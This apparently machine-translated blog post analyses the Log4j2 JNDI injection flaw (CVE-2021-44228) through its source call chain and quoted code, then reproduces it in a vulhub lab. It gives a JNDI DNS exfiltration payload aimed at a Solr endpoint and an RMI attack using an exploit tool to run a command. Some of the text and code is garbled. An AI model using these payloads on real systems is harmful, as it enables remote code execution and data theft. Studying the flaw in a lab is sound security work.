-
Log4j2 Vulnerability Principles
-
root cause of the loophole
- Call Chain Source Code Analysis
- Call Chain Summary
-
lit. loophole is reproduced
- dns
- rmi
-
root cause of the loophole
Log4j2 Vulnerability Principles
Front row reminder: this post is based on my other summary of JNDI injection after writing, it is recommended to read the article for a brief understanding of JNDI injection:
/weixin_60521036/article/details/142322372
Advance summary statement:
The Log4j2 (CVE-2021-44228) vulnerability is caused due to a vulnerability via theMessagePatternConverterclass into hisformatAfter the function entry need to match to determine whether there is ${, if there is into the if after the(().replace(event, value));
, which eventually went to the lookup function for jndi injection.
So we'll analyze it later fromMessagePatternConverter(used form a nominal expression)formatfunction to start dissecting the source code.
root cause of the loophole
After referring to the online articles, summarized found that in fact only need to understand the most critical and know a few function call stack will be able to understand how the log4j vulnerability is caused.
Call Chain Source Code Analysis
1. The first is to hit the point to walk to the format function of MessagePatternConverter, where the accident occurs.
2. Look at the yellow box, enter if, log4j2 vulnerability officially started
3. Look here for a match$
cap (a poem){
Here really only match these two, do not feel that the asymmetry of why not more than one match}
That's to find out if you're using${}
This is the kind of format where you go in and do deeper operations if you use it.
(Note: no recursion will be done here, if you${${}}
(You'll need to continue reading my explanation later on for that recursion step)
4. Look at the yellow box.(().replace(event, value));
, there are two important points here.getStrSubstitutor
cap (a poem)replace
。
First, getStrSubstitutor is performed to get an object of StrSubstitutor, then StrSubstitutor performs the replace method.
5. Here you need to follow up with the replace method, which will execute thesubstitute
Methods.substitute
Functions are important and need to continue to follow up with him.
6. Entersubstitute
Inside, he did the following
- 1.
to match
${
- 2.
to match
}
If the match is said to exist${xxx}
If this kind of data is present, it goes to recursion and continues to substitute execution until it is not present.${xxx}
This kind of data until. (This is the place to address the${${}}
(this kind of nesting problem), then here also solves the above said why at the beginning into the format function there, only matches the${
without matching the full${}
of doubt, into which it is only to proceed to judgment, and to help you out${${}}
This double nesting problem.
7. This substitute recursion finished out or not continue into the substitutes inside, then the next line of code is: varNameExpr = (); role is to take out the${xxxxx}
The xxxx data in it.
Take it out of you.${xxx}
Inside xxx data, here has not been injected into the jndi parsing, so instead of parsing the results of taking out the code you injected.
8. Into if is to takevarName vs varDefaultValue
The function is to detect: and - in order to split out the jndi and rmi://xxxx. Here is not really the developer intentionally write a function to split our malicious code, but this function is so, it happens to be that we utilize him only. Here's the function will not follow up, understand that he is to carry out the split can be, getvarName vs varDefaultValue
。
Note: As another reminder, when we pass in jndi:rmi://xxxx, here's thevarName vs varDefaultValue
extractjndi
and the followingrmi://xxxx
9. The code goes further down to the point where you see theString varValue = resolveVariable(event, varName, buf, startPos, endPos);
Here we need to follow up with resolveVariable in order to continue to see the execution of jndi in depth.
10. Here finally see lookup word.
The first thing you need to know:resolver = getVariableResolver() is to get an object that implements the StrLookup interface named resolver
Secondly, see the back.return (event, variableName); Here is the return result, that is, here lookup is the result of the implementation of the return, in order to be more convincing, here to continue to follow up lookup to see how he is executed, after all, here jndi injection and before the different, more than thejndi:
rather than the traditional direct use ofrmi://xxxx
。
11. Here you can see the information available through theprefix
plastic injection:
formerjndi
Then take out the back of thermi://xxxx
So that means that the lookup function body is internally acting as avia: character segmentation
, and then by passing in thejndi
Four characters tonext
Find the jndi access address
Then intercept to the back of thermi
base sth. on what one has foundjndi access address
nextlookup
Then the last thing you can see is that you get the lookup object of jndi to lookup the query.
This concludes the analysis.
substitute
The code in the body of the function is shown below:
(There is no source code for the body of the lookup function in step 11; here's the source code for thesubstitute
code)
while (pos < bufEnd) {
final int startMatchLen = (chars, pos, offset, bufEnd); // prefixMatcheris used to match if the first two characters are${
if (startMatchLen == 0) {
pos++;
} else {
// found variable start marker,If it's here then it's a match.${character
if (pos > offset && chars[pos - 1] == escape) {
// escaped
(pos - 1);
chars = getChars(buf);
lengthChange--;
altered = true;
bufEnd--;
} else {
// find suffix,Find Suffixes}notation
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = (chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
}
endMatchLen = (chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// found variable end marker
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, ()); // recursive call
varNameExpr = ();
}
pos += endMatchLen;
final int endPos = pos;
String varName = varNameExpr;
String varDefaultValue = null;
if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = ();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < ; i++) {
// if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
if (!substitutionInVariablesEnabled
&& (varNameExprChars, i, i, ) != 0) {
break;
}
// If it is detected that there are still:cap (a poem)-的notation,Then it will be separated, :- act in one's own wayvarName,Seats in the back.DefaultValue
if ((valueDelimiterMatchLen = (varNameExprChars, i)) != 0) {
varName = (0, i);
varDefaultValue = (i + valueDelimiterMatchLen);
break;
}
}
}
// on the first call initialize priorVariables
if (priorVariables == null) {
priorVariables = new ArrayList<>();
(new String(chars, offset, length + lengthChange));
}
// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
(varName);
// resolve the variable
//After the above series of data detection has been completed, the next step is to parse and execute the data.,Here's what's going on through theresolveVariablemethodologies
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
// recursive replace
final int varLen = ();
(startPos, endPos, varValue);
altered = true;
int change = substitute(event, buf, startPos, varLen, priorVariables);
change = change + (varLen - (endPos - startPos));
pos += change;
bufEnd += change;
lengthChange += change;
chars = getChars(buf); // in case buffer was altered
}
// remove variable from the cyclic stack
(() - 1);
break;
}
nestedVarCount--;
pos += endMatchLen;
}
}
}
}
}
if (top) {
return altered ? 1 : 0;
}
return lengthChange;
}
Call Chain Summary
Conventions: a carriage return is added to each level of the function that the call chain goes into; I'm not writing it here under a fully qualified name, and for ease of understanding, adding a carriage return means going inside the function.
Great Vernacular Summary:
Here's a screenshot of the raw data
Call Chain
MessagePatternConverter's format function
↓
(().replace(event, value));
↓
()
↓
().replace()
↓
substitute
↓
to match ${
to match }
↓
When both 1 and 2 above match, it goes to substitute recursively.
Here is to solve the nesting problem of ${${}}.
↓
recursive after the next line of code is: varNameExpr = (); the role is to take out ${xxxxx} where the xxxx data
↓ Then go to this code - > if ((valueDelimiterMatchLen = (varNameExprChars, i)) ! = 0)
into if is to take varName and varDefaultValue, detection: and - in order to split out the jndi and rmi://xxxx
(here is not so coincidental in order to split our malicious code, but this function is so, it happens that we utilize him only)
↓
Code further down to -> String varValue = resolveVariable(event, varName, buf, startPos, endPos);
into the resolveVariable function
↓
resolver = getVariableResolver() get an object that implements the StrLookup interface
followed by return (event, variableName); here is the return of the
↓
then continue to follow up on the call here, the lookup function body internal role is separated by: characters
and then by passing jndi four characters to find jndi access address and then intercepted to the back of the rmi with jndi access address to lookup
lit. loophole is reproduced
vulhub finds log4j to open a CVE-2021-44228 range
dns
- First use the dns protocol for jndi injection to see if there is a log4j vulnerability
${jndi:dns://${sys:}.}
It's a Payload that uses JNDI to send DNS requests, modify it yourself to your own dnslog domain namehttp://xxxxx:8983/solr/admin/cores?action=${jndi:dns://${sys:}.}
Then we looked at our dnslog logs and found that there was indeed a log4j vulnerability
rmi
So now it's time for the rmi or ldap attack.
Here it is straightforward to use the utilization tool:
/welk1n/JNDI-Injection-Exploit
Open a malicious server:
Setting up the commands to be executed by -C
(-A is the first NIC address by default, -A your server address, I'll default it here)
Next, check to see if the container does not have a/tmp/success_hacker
file, since we -C wrote to create that file
Then it's time for the rmi attack, copying the rmi service built above:rmi://xxxxxxxxx:1099/dge0kr
Checking again you'll see that it's been created successfully
PS: If not successful then try a few more rmi or ldap service address, jdk8 or jdk7 try, before I spoke wrongly that 1.7 and 1.8 is the local open tool to use the jdk version, in fact, is the target server's jdk version, so or that, try it on the line, anyway, we have already dragged out the data with dnslog, proved that there is a vulnerability. It proves that there is a vulnerability.
Reference Article:
/zpchcbd/p/
/t/11056